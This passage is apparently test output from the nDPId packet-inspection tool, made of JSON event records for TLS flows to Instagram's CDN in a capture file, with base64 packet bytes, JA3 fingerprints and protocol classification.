{"version":"TLSv1.2","client_requested_server_name":"scontent-mxp1-1.cdninstagram.com","ja3":"44dab16d680ef93487bc16ad23b3ffb1","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.3 (Fizz)"}} +01143{"flow_id":37,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2223,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796265,"pkt_ts_usec":162734,"pkt_caplen":592,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":592,"pkt_l4_len":558,"pkt":"xiwDYGpkxGGLNYKpCABFAAJCAABAAEAGALzAqAIRHw1WNMDQAbvb0IdKx+rPAIAYCAyE1gAAAQEICg1wnqtocroGFAMDAAEBFwMDAgPq5dxiU+XpJOXyTkDHGhxF+P8r+cTDmHS6C7PaSxO9z+v3cTmbSBNiRx5dWKPSeHOZKxg9Q4N3JkRA6iofTHFoLw1F3kCMA+3nQ7C+Z5X1dLhjQ8q9X7K7zwxP3TxeCjpmVhYbfKK88YN40oY14MasZmWgnmKmKRGFu87Q8KxPBBbd8JlkqP0Hx8vwnVFTdH9qh2ysqVCLEZ5B5gPdxaH+2CBDP4O845J+zQpC9MJGTCHkkaVdnSn360eVwI8aB\/9nxBWWo\/r1SG+g9O+vGwuFKbBoCDcBDGnA765iRTN22nnBB+ZiWM98HwEKJg\/mR9GqK+s0bdxfEfcAsSs+60qTqh0dE1hV86SS2RQ\/DHP9Skr0P\/c8ALAGd\/7DedBxhJMwjhO+yiEpH4aR9uF9MZObdbuQPE\/kOnGp8HKoWepztTlmqnwu52NR8dvA1r9xDGnwfTGd4QNoShfDncOL8sY2D9RTihxBwfBtN0bo8DkWgYy++4Gf\/16ge1CmGXy97R9nX7WGI1uOhXZ3pCTLef2UNDY5jRWIZQ0x6IOt8Ub19WcRqsLOzNUrX6Y7HWFgYdf7wgfA3GmsjmBBLdF1zMixD9fbcxC2QIn8uQOaowhRcRb0sMaEIYIK3i+0Rlo93Qhi6ABoF2pO2KDdliqXqqDkvrKu7mNFNBTIq89smWsWYJwuPA=="} +00975{"flow_id":38,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2224,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796265,"pkt_ts_usec":162908,"pkt_caplen":470,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":470,"pkt_l4_len":436,"pkt":"xiwDYGpkxGGLNYKpCABFAAHIAABAAEAGATbAqAIRHw1WNMDRAbs6ii8bgLM6YIAYCAxkcwAAAQEICg1wnqxsGJ0PFgMBAY8BAAGLAwOAqhQQeNECe\/+9\/hWEsCUXoBmc17WJwpN6Dv+uZppp4CCxDRGsDttILxCLJQMyNqEqreyralyMGp7g0Opm0yvFgwAGEwETAhMDAQABPAArAAUEAwT7GgAKAAYABAAdABcAMwAmACQAHQAgDflfr8Yn3nqwAFG2UPszT201MszUPsD3TkZS35zQnVoADQAGAAQEAwgEAAAAJQAjAAAgc2NvbnRlbnQtbXhwMS0xLmNkbmluc3RhZ3JhbS5jb20AEAALAAkIaHR0cC8xLjEALQADAgEAACoAAAApAK4AiQCDk7JELb9TNLP0bj9gRMRkOJvPqRKtoboU\/jiXhirj8KoAAAAA0R83NY2xlS21RB+Ky1WN+gPP8p0w8+O2jdwGhxiwtDX77+HilbLh9lPlIOCv+O6DXIIy461AN\/1VgaFznAAOuF6g91qcCRHhPuyIutRIMLcftRUTfgFJZajUo+ztdbr8DWSXACEgUIntR5IHbn7YSyVV4jLlbmIrJs0jkHe7vUfeBcNmXco="} +00799{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2224,"source":"instagram.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":4,"flow_first_seen":1568796265147,"flow_last_seen":1568796265162,"flow_tot_l4_data_len":552,"flow_min_l4_data_len":32,"flow_max_l4_data_len":436,"flow_avg_l4_data_len":138,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"31.13.86.52","src_port":49361,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Instagram","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"scontent-mxp1-1.cdninstagram.com","ja3":"44dab16d680ef93487bc16ad23b3ffb1","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.3 (Fizz)"}} +01149{"flow_id":38,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2225,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796265,"pkt_ts_usec":163365,"pkt_caplen":592,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":592,"pkt_l4_len":558,"pkt":"xiwDYGpkxGGLNYKpCABFAAJCAABAAEAGALzAqAIRHw1WNMDRAbs6ijCvgLM6YIAYCAw4cgAAAQEICg1wnqxsGJ0PFAMDAAEBFwMDAgNo3PMGBE3Uy7mxkQeoZAJTCt\/t5mahCav99zTkK60ANTi+qGC30\/CXHNXA43ZPIq7\/C8M0ztacgfWPQTZMeHj28d+rHdUOBleRXFAAr12VCclSZPY11daZ7KPyEgGZ1WfWSKHMsGqUqVO9ISzL9tqh0xQi2oegbTDcvXAEaEeixyc7iE\/5Fbfdm2zGSkEoYdL8VOMoTV5Fq6WPjUf3uU0vQaabxg+nUWJATEYIamAT4GZ3pXch4q0Pzta37XFFiNMjS9UwN+uf\/W0VKBeUeWGMENVCs+41kjAjNqhNA7OfvACTE5Oe+EDw3SyWrtv2H+tuBRZlWOstBndp0uXzEtziTTvaW56JowDlFZSKZhr2YrXphECVIbTUjw1e3xB2U8ZXoCyUpn7KM6E36TKhlSct49iYusL+24jY\/PlEgf33kx8t\/PfC+6\/SSu\/dfiM6b+kqTUwfBrh39j9f4gYAdXaMfaJYEoLOjAFRa9RvR7Vc1i\/9QTr6DBNO5geRmghq+lJPdQsftLL4yiZTtBTj+OyJQ+uaUvyImw8J3xyAmoT8+rJ3HDj74zCanSiyVtZOpN9wGncTMVd6u26hqRxKasSy5t3bDDXyPWVlSvqe6TG0IgEdl7\/lgVcyv9nm82si\/V1YhXj4nvJRWMnZnYXuWFehOLEv3hLdjMFgwTI+1\/aCR\/7VBg=="} +00428{"flow_id":37,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2226,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796265,"pkt_ts_usec":175155,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xGGLNYKpxiwDYGpkCABFAAA0pmQAAFQGiGUfDVY0wKgCEQG7wNDH6s8A29CHSoAQAHGzGgAAAQEICmhyuhYNcJ6r"} +00428{"flow_id":37,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2227,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796265,"pkt_ts_usec":175182,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xGGLNYKpxiwDYGpkCABFAAA0pmUAAFQGiGQfDVY0wKgCEQG7wNDH6s8A29CJWIAQAHWxCAAAAQEICmhyuhYNcJ6r"} +00428{"flow_id":38,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2228,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796265,"pkt_ts_usec":175188,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xGGLNYKpxiwDYGpkCABFAAA0soQAAFQGfEUfDVY0wKgCEQG7wNGAszpgOoowr4AQAHGgIwAAAQEICmwYnR8NcJ6s"} +00428{"flow_id":38,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2229,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796265,"pkt_ts_usec":175194,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xGGLNYKpxiwDYGpkCABFAAA0soUAAFQGfEQfDVY0wKgCEQG7wNGAszpgOooyvYAQAHWeEAAAAQEICmwYnSANcJ6s"} +00731{"flow_id":37,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2230,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796265,"pkt_ts_usec":175583,"pkt_caplen":288,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":288,"pkt_l4_len":254,"pkt":"xGGLNYKpxiwDYGpkCABFAAESpmYAAFQGh4UfDVY0wKgCEQG7wNDH6s8A29CJWIAYAHVf5AAAAQEICmhyuhcNcJ6rFgMDAIACAAB8AwMlL28rg92sKmQb9oGsNMA+RajkL2IcaAywIjBJDhpxKCAVVtgPkL5YKAYDZH3R54j++7adj7J3C5T+\/WxuRVW3nBMBAAA0ACsAAvsaADMAJAAdACBLc7TMN4ezhX8UBdIZR11Gtyb7BW6N++w7k3CE+t6MWQApAAIAABQDAwABARcDAwBOz14LPIfQi+FO0wtI1TWbwAK14UAyz\/1ipvZhDtW0uIPParyoZ+aSMyX1yyoo+\/e60Nn17Tb\/xDWifGL2enVYALLTd5yia8f4iYqQvWdS"} +00846{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2230,"source":"instagram.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":8,"flow_first_seen":1568796265146,"flow_last_seen":1568796265175,"flow_tot_l4_data_len":1428,"flow_min_l4_data_len":32,"flow_max_l4_data_len":558,"flow_avg_l4_data_len":178,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"31.13.86.52","src_port":49360,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Instagram","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.3 (Fizz)","client_requested_server_name":"scontent-mxp1-1.cdninstagram.com","ja3":"44dab16d680ef93487bc16ad23b3ffb1","ja3s":"fcb2d4d0991292272fcb1e464eedfd43","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.3 (Fizz)"}} +00729{"flow_id":38,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2231,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796265,"pkt_ts_usec":176036,"pkt_caplen":288,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":288,"pkt_l4_len":254,"pkt":"xGGLNYKpxiwDYGpkCABFAAESsoYAAFQGe2UfDVY0wKgCEQG7wNGAszpgOooyvYAYAHX9OgAAAQEICmwYnSANcJ6sFgMDAIACAAB8AwOYxNukl4Ng6qf3UXkEJHyQV7Ck+8Jb66Xy5wDWnotJjyCxDRGsDttILxCLJQMyNqEqreyralyMGp7g0Opm0yvFgxMBAAA0ACsAAvsaADMAJAAdACDdXsZJOtqKLBliZFG+ohtftoYKIDc2G9X38jB8J\/nWaQApAAIAABQDAwABARcDAwBOMaIC9pi0AJ8pG7dNcThNnUDCeU9+95y2p\/z5ZkrLshQhjucbJodbnFZ4Q775Cwq0NpVDkN1aAnRf3MSIxgEXSNG+F3e3xiRxFc7+wi8w"} +00846{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2231,"source":"instagram.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":8,"flow_first_seen":1568796265147,"flow_last_seen":1568796265176,"flow_tot_l4_data_len":1428,"flow_min_l4_data_len":32,"flow_max_l4_data_len":558,"flow_avg_l4_data_len":178,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"31.13.86.52","src_port":49361,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Instagram","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.3 (Fizz)","client_requested_server_name":"scontent-mxp1-1.cdninstagram.com","ja3":"44dab16d680ef93487bc16ad23b3ffb1","ja3s":"fcb2d4d0991292272fcb1e464eedfd43","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.3 (Fizz)"}} +01289{"flow_id":37,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2232,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796265,"pkt_ts_usec":176691,"pkt_caplen":699,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":699,"pkt_l4_len":665,"pkt":"xGGLNYKpxiwDYGpkCABFAAKtpmcAAFQGhekfDVY0wKgCEQG7wNDH6s\/e29CJWIAYAHUXkAAAAQEICmhyuhgNcJ6rFwMDAnRHVTwxdgSUoBCLXE+exalRUAKH\/1oDe+uOubl4Ll1CPcJpA34WK\/baIg\/U4\/4z6yDJgJUh5ZcWsXAMTO0XXhuYsxp2VjDoVg29HrQVmh66BrMiqzZUwzfQrdkV6BD0gGxZLlsxNFGf4+6yqFSS4mWbzMfcEda+x1BvwdBaGufd5xSjgZuxkSnuJC+XTbbR1E6FMJEcQ02Dtt03n57iQGU3qexYkYEb0krSEFbf4y40pvfqaMbb\/FaOwt8BOarQpHfH3ed7J55NKS6rtZcnZb5mmOJa2IvH9b2xVzLyZYGKg9ZDPx2gELwyxpxuaXrVxKE\/Mz3SRV1G3yXBBlTnR1EYozYI9aR6m6+DtkVrnUxHKzAnMBh5sFUTvaq+yMwqZxbkJqEZXKodoUXT15zWQGBapxa1Aj0GtiNUVfKPz\/1kebzdeNb5zbOZPb8YJnNAInnA287o3h71DqAHFQVk5HyFGSOYqBOaMKLHdAF6gWWY83YBljAzjMnz298ftwSl9qPrbX\/XFTBcjKRdVQaPA6X\/KEp20\/J1Hre0s2FJG\/kUGMm876hvXD+Uk0zX05OacBzPzUyD8Ke3fh0J4KByuuNkixVriW0BHtS08Bn9bzvNjkwsQcLZbng4x2r1YouIJZt5GthOSkd62YANTlTz1Scyw\/iE5gpjwGrqaC+HxRo4sZpLH55E7xZIXnKW+GJPTjEYoUIVPK0SxGspKjvyLpigj7yIGCVytsJFTl\/aIC9MvHrBvHU7WSYQy6FBPYQvchbtEsJg6jATlOYEWSgGX0kIGywIA3MW738QuCchxP8vXuwk7WhoZrrW8l4mwtOyxYQhi+KX"} +00429{"flow_id":37,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2233,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796265,"pkt_ts_usec":176854,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGAsrAqAIRHw1WNMDQAbvb0IlYx+rP3oAQCAioiAAAAQEICg1wnrlocroX"} +00461{"flow_id":37,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2234,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796265,"pkt_ts_usec":176955,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"xGGLNYKpxiwDYGpkCABFAABLpmgAAFQGiEofDVY0wKgCEQG7wNDH6tJX29CJWIAQAHXC3wAAAQEICmhyuhgNcJ6rFwMDABLavfURPg+gJrbDUe9058jhwTw="} +00428{"flow_id":38,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2235,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796265,"pkt_ts_usec":177361,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGAsrAqAIRHw1WNMDRAbs6ijK9gLM7PoAQCAiVkgAAAQEICg1wnrlsGJ0g"} +00546{"flow_id":37,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2236,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796265,"pkt_ts_usec":177487,"pkt_caplen":150,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":150,"pkt_l4_len":116,"pkt":"xiwDYGpkxGGLNYKpCABFAACIAABAAEAGAnbAqAIRHw1WNMDQAbvb0IlYx+rP3oAYCAhL2QAAAQEICg1wnrpocroXFwMDABXijclT5QL1inKmIReRttCwkH7l\/BEXAwMANci7EOvzR8eJs0YMsfH5Tv8\/RZIt0uJHPusJ1h8uB5k8+H28XSIn7Wj2ROyuhCY6zDIlvurn"} +02305{"flow_id":37,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2237,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796265,"pkt_ts_usec":177508,"pkt_caplen":1454,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1454,"pkt_l4_len":1420,"pkt":"xGGLNYKpxiwDYGpkCABFAAWgpmkAAFQGgvQfDVY0wKgCEQG7wNDH6tJu29CJWIAQAHW0dAAAAQEICmhyuhgNcJ6rFwMDEBH1EkFaak341Y\/0+cAN2+2HNIHauV61ybqZbVOBc7CJwojMIUJT6oFvtEGreNo6VXOYuPhBHlTdUFplvcOQpAJze1wZveY75LTZIQjCTubsbGQ+wpYt8UwNLaoyxxDqD1nyNBJQQIpiWHhL25L3IGThaETc7UU5C222eikjE7Of7n34lolZ6ue+zTcryg2wI1y8Iot9fOVgIVf8khQgc6Hu+OavsvbvoOdKhyxgL6iPnSX2ucSi+9FArH1sLQ951gQOt0+DtzWVhwbzbAGMpJJBrBGpkh0npWG3RIIthenZdFlg+JeoLxYwZ3fDfKO1UZHlfCxpRjlpt3RaBmc\/YmfDIFhAqsVkV7K9R3x80Ghjspf78CCcVO+sD81GiuUVj38ffJQM\/VdlHqcqu1Y4w78XKk5FrzNBE8i+jFIfFEi+IuZ6Vomkij6pFHP8NmT1tT6p7F\/IGrZ2fTCjBjB50dzujvH8wCHgh0w4gwOv1eXmmJ6kE3tO2mrnSVxSP7v7OpsmdCmidUyHEG+jEMTYbjMYVqI6P6QIUhuWFyk8Kh5x3Q2\/QLtPl8Elg3Bvwm\/aSCDO88I3Dl2VpziNGI9f8hraNaME+GaU8281kqs8KvePmFVF4Np0BWN6Vddele5EiWEJVY+kIO1wUq3gUWlwF9c8GhEDYCFheky\/rOi20RV7I6FFL80jn2KQn3N2bv7Ptcuj0CNeW1es2qelkf3yrypqge77PMSs6+S6BWadn4egLtzqRO7l15bqKaVRiD9NNslMPsYmb\/YYs5gnyAxoANY1Rm3hrr5UrGc2OXRAy03lvnJYGhUlOX2zmdX\/uQZE5g1hAuRPeGS9SEqmkzc4ILZN\/w6KZdUduiWuk9vJTZh69e5LNSbE4YMdtj1GIrsdd9okEjlSIX2Bnk9XxHOyTX0YMOpxS6kSnkt3G+FfkstvUYId2tYHegt65SoxZub2nb8MPvI3365MHrkVGVVUfM5QBwPnhPejnsNMil+LlqSO\/X9iTU1+KGo7pRH6jXvcsB31sROFKhp8dlDqfBfBoDuHrOkqEt3nOPd0I+IDlBKH9nhuTyLVH5ijrQU8KZ5unfqw0GQw9frcVRGn4ac4WxDU7ad\/S2opXCNk4Hs37WzisczIRlAqasVwbXiFMAaGWox8O5YHE\/n6v+Wlb8Fj4Z2lOEEQBP4ye8Fjg9WMro5oprbfM9tsEHedfjwtxiDkRI0MTIyuSCEhQAKVwbX0eT7nzzUoaDM9vMQdKU4OE\/Ze4RHH98mXzwyl80Heq5xO9Ea\/CHCXfCt3n99uOdrDtJ3mNkodwlqdRQ8vnYRV27hhv+rnunoPNUhXKd6HonKd5qs4qKfdat+MtdiDGW+cu\/wZZjaG5gApwYbwJOP2YV+aouwKQqtSBVRrzLLlqVOkCbIjvzVI0p1zLSu3FwMl3Ha35BQ+4LTws048AodRj6BjbVnMc3EvSb0xhjwfZ2whWhCuVwSVU33nNfk3swGf7z9Me7mPK0yUwNHST9YMDCD3kISDTUXitoCtZiHS5FL3uOWIsLVCiIXWFouTkTQse+wckLROcCBGmeV08ax3KBkT3+gntNV2YMqfuQllxihZ54E7FhZqa41SuN4hK+fr7P0crKUvvA53EYobP8tqCbiODL7KhjwmgOeD3a8TnXRopJOBsYbTTN2Q+2M4fmO0uKP3jAMFp9fOeNc+vuIXYW9yEpOvz+Cmem1li4n08E3tVwBFgNIlO5rEAxmeVnXA\/2UcdCwUzOuZU+sPvyu6AW0H217XpOv59\/ovd2JFnIMmpgvCX+qzaqmqkrk1LHumEsTvV4AeWelNhHyGHxAhWpfOQ5mzXxFgj1w="} +02310{"flow_id":37,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2238,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796265,"pkt_ts_usec":177744,"pkt_caplen":1454,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1454,"pkt_l4_len":1420,"pkt":"xGGLNYKpxiwDYGpkCABFAAWgpmoAAFQGgvMfDVY0wKgCEQG7wNDH6tfa29CJWIAQAHUMXAAAAQEICmhyuhgNcJ6r\/2emFdmEkQkMhGdqmoYmq3odyY1Hbbj1sacpHh6U7mHsgcrece63yXvZxDenY+pvLZ7vLzNhyvP7CQMFUiGNzt7VdU3qQsATbpg8yKGd+uu0Y4s80EDeOZg\/5qe\/pnk+be133Jn6pVOhym+YJle9wPEM2JRJzUfSuyhL2JDFDGwrRB081IAxR5QH\/9idiAlnSFBvPyVI82m24NpG2ayHial\/r76AXgZx0mhTIiVz5xT2WJHq6mKGMi0cNL2XxDahE6bNkJS74kxlcplUV2mkx6MAnwbrbAs23YJKBUJO\/stQJDqC7i8s6\/9csvRyIJ5Qd4FDYn2Bb4c0RQGC1XSwl80CHI8+7C7aAdPSPRoqcZzKslVQyZpym2kx09lruTaIGKwpfVP4oV5OlgWqGuPNsChJKPD3VcQ\/XYxn00ESef+KZ+J3dSBSupX4eXB3R5GpbdlRdWQWHm3DO+tklbjKi9HMeS9WyEXFmc4xot4nu6+HwpNLltT9caO5tdU3f8PSt2zumaanBZn2+D6kvUGU7GXuI5lvmMc7KzyGGXD19b5Uv+K+K7CutLxYz06pCBspAd0QjN6BuBpMy84T+qsQN3qLMNeL345c2WPKULq2Ywmr4pB0IGIosVOFJzhctKpWDDS3S3qffjuCkCod00kWfoNUb1VRAVDTZth7L2aOrI4j8LcTlK0oIBEe0girVDTSEHJ9+Ju6Rz6o65PRI1u1FW9l3evXV1LT1nhodKRRtlPNJdKuNcUmK1I2B2kVRuuUWfC10cpeiF+msMPXGegTGrjSF5pSSA\/bLPbWnkpjwlXtpDZ9MNrazDwhYSAkzWQa4Y3tSj8V5mw47f5WoKpUEZSHq5cVzirdVE96iv8EErT9aRCydtM8Ax0L4dFd\/YcA0Yn\/VknYZbjUfEm47bO8oxIY8xJStUoCg3lwvTKV27W92nyaZ9Ro8zYKG1YMlMWDNjRBFMaCwcpmU1QFNYtrIWN0wU4jTNn0O43lQLJSk2+V3F91WhNm6sv+QIYFuqdUKanWc7Snu25NkTIDEIRTgQE6vMi0SdUoKu1a3xtORgNtbSCmYx2ob7i5tvkI+GGIAp9dFta0kCkKt8r9NME3AwzZjYy\/WRfR2gBQ\/KfAQl1x7tS2hEzkFIR2zbql4fYwKtu6dCAcHSYyVnMXbHHm92odCVlg6T\/uP4n4TBLMxAWyD8ZKQBFy5wprUl5KkSAcD\/74aBhd3viV0gGL75m6rQVebqAb0Ifx2k\/ZCfB982qZRXRpqbCLwbZtAR88faLNBlEcnAnuERtyMCI4J2AFVcttccBndVfyTMynXz54G7eaxnWBo8gxYkukRqAGlLlO9VRzvZ2jPj6eJQGBQKXpZzAi+oi4o3yS0ugKt7GRsBzuHCiOjqV+Wmvs2Eij6pU4FVVdsmswyNzbRfXUBKNAc+QTViFGEvO\/U\/3gwdVRT2mg6gL+MnD1rdmCvd45Z+S68Nabjd+gMsR7o+A6EdfCT8UsOig7LYEapLOVaSvMXVnky\/pjWiGS9TBIkrcyXXSXVURPpZtjrg9VBmdfBGd6GAduoL3eby+ZWnmTkfXeYrtUtbcDPwrAS8GT2xOOf\/pf\/+pyS0CsGnHPD3WFf0uuTENc6kjgnWP38p++UCqS1W2+HbWtnVhNAxsfSAngTBQhv1SqA8yKwkyMrE5hqlxSTBEw54LokXFO5O7fvWQRZ+r2QFuRQ4pBSJE+v+FqBALOmcdduYqlnhVlng7sW\/OVfJup5Nl1R28FPzRjhG+bYbNm2BFbFQzMV8L\/PQ5pHco6uySReAJp27nEUt7qvOuJM1cV9GIA+GgRIm10Kv5mDq0YYvLb6vaQCB36VwQ="} +02310{"flow_id":37,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2239,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568796265,"pkt_ts_usec":178049,"pkt_caplen":1454,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1454,"pkt_l4_len":1420,"pkt":"xGGLNYKpxiwDYGpkCABFAAWgpmsAAFQGgvIfDVY0wKgCEQG7wNDH6t1G29CJWIAQAHXd\/QAAAQEICmhyuhgNcJ6rFp7FrLtQULYKFvuAZlHTLDtZE8pdLMQcEB+viBKeBINN3EK1V6i+YRdcYkFX6TZx1ToMNeMPM+EV4+Q754YVqMqD2UnlXSH0cJRQgQPnNh1VU+SjfFaZl2VqoW6LC0rcKtUQpDznmlTl+uFxmR+Gk6LVzp2VSLpidliEyy9vsMD\/+6OXLYenMXg+FysL01b4bOqVe7TzxVF8ZZs53UXpzGKZhvdofNU2eZ7kloxZou8rsHbnDjKxC7Goc+v4PQNSEEmzZYIpKS3FKvaheJcaYdBQrMSjxovDv1WUWluzsn40M6EW35kO84x9b\/v41\/ggSUBoOW9b7s64QPz9AwEExfyRWrEWJWSDomulDZr0idCDZfoLTDJLhnC3dxWI9wWmOqTICdYsSpjqFuHb6XfhyKvIvs5mYBgE\/A4jvf3yb25pV7UvDTFMcfYprSPVm4TEPUhcGj\/QYo+Tp84K1Zstr4u9n+zHC1BbosRG6LvXsABgmkcDwXLpRZB1RPscI57qsihn0W8vwJ6vLsCOceX3EER8TT9Y7MO4gwG+lwG5oq3kV8Ry5LWx+HbUmXFT\/7YGYhAbeWk5PpNipGQ4roTFD3PpkIdcYY1VldolaE8i0JQT8VHgp8X8nCz6qmQZsNwZOb3LlP7b1UOKm1wVQTOLH9buCQzs4wiX3QHCfxeyjyMsTkDCfOPGYieDfjlFtfWnlkoV0EHfKtfbbJvkXoICaPYfX\/rO9PdRdH4JaghxV9LAmbOBg\/0fTUpRirEM4cDjaQKAE+EUzB9bgSsvT0nAWKJrzLsm0qpXzQ35urWn5kHtHBtsKOn0+mO7zrkHiERh2T+fT0se4Xx+KOdfMIut5dOxYBnKYhpZwT8QGLYTPf8U+3ZagttmHa5o8wgMmC9jZHqGlYNT2SlBVwjKmdprQwypt2CmktA4o7GyWs+2HOOLCUbyLkCI4j7pjzm8shPdbpIGiGk8lVB6INiUIex+3+w\/UwpVlp2Kql06sV5MVMvnShOTj492YjDSo0w3l8Z4obaLRRWoMJsiBjgyh\/T+JS0nPDD39GxShxy6GwFL+3DV3vgDabwDc0j4T6qSfP+YFW83l8wDpBzf4lo+nc9QDAwvoC6EX5iobA5vi+6by2DjgQ5kWAOXzU2cGGwM+Al1jcORu\/1NkwNpRF7rHPb7+Jy\/\/4y7MO7t8+8sqOOansmVfC45Z4T441F79Vl5JVfSWuPhh2PW2iu+Ey8K2CPPIZnXOyilxfIAUsYufbP8MMr\/sr7vUzwUJLWb6lTyxInIbEU7ZB1WplrwP6gRB9O33itZIdogP6mnlvMI09CV0gGD1ef00vaP+7EN7EhHhVC0RkTytVgQAUjP11Re4hV8FLF6mQKgEP6iu\/n7g8iLHxuf4mfpTEPWijzfjGV\/NfjXSUwU1c9dH5LyB+ltkldGaRPZfFNol3ex6Hg\/DRGMy0t+NSQY4SIWxNLNB2GV532nUw35J8EVOTJrHBZTFvzxdAe+nXig6Q7ejgBeoFhQJCLvU\/GceDgC238qx91YW80\/wYRALKOX\/vPgPf1nkZnXrlEdoBN5WDPLmL+2WasLiIx5O4f2cAEWK3BARjwd3N751j6mwZSSxRLDvAv0zJyyG8lGe+MIxXBSr5XH2DZ+sdTj6e7jL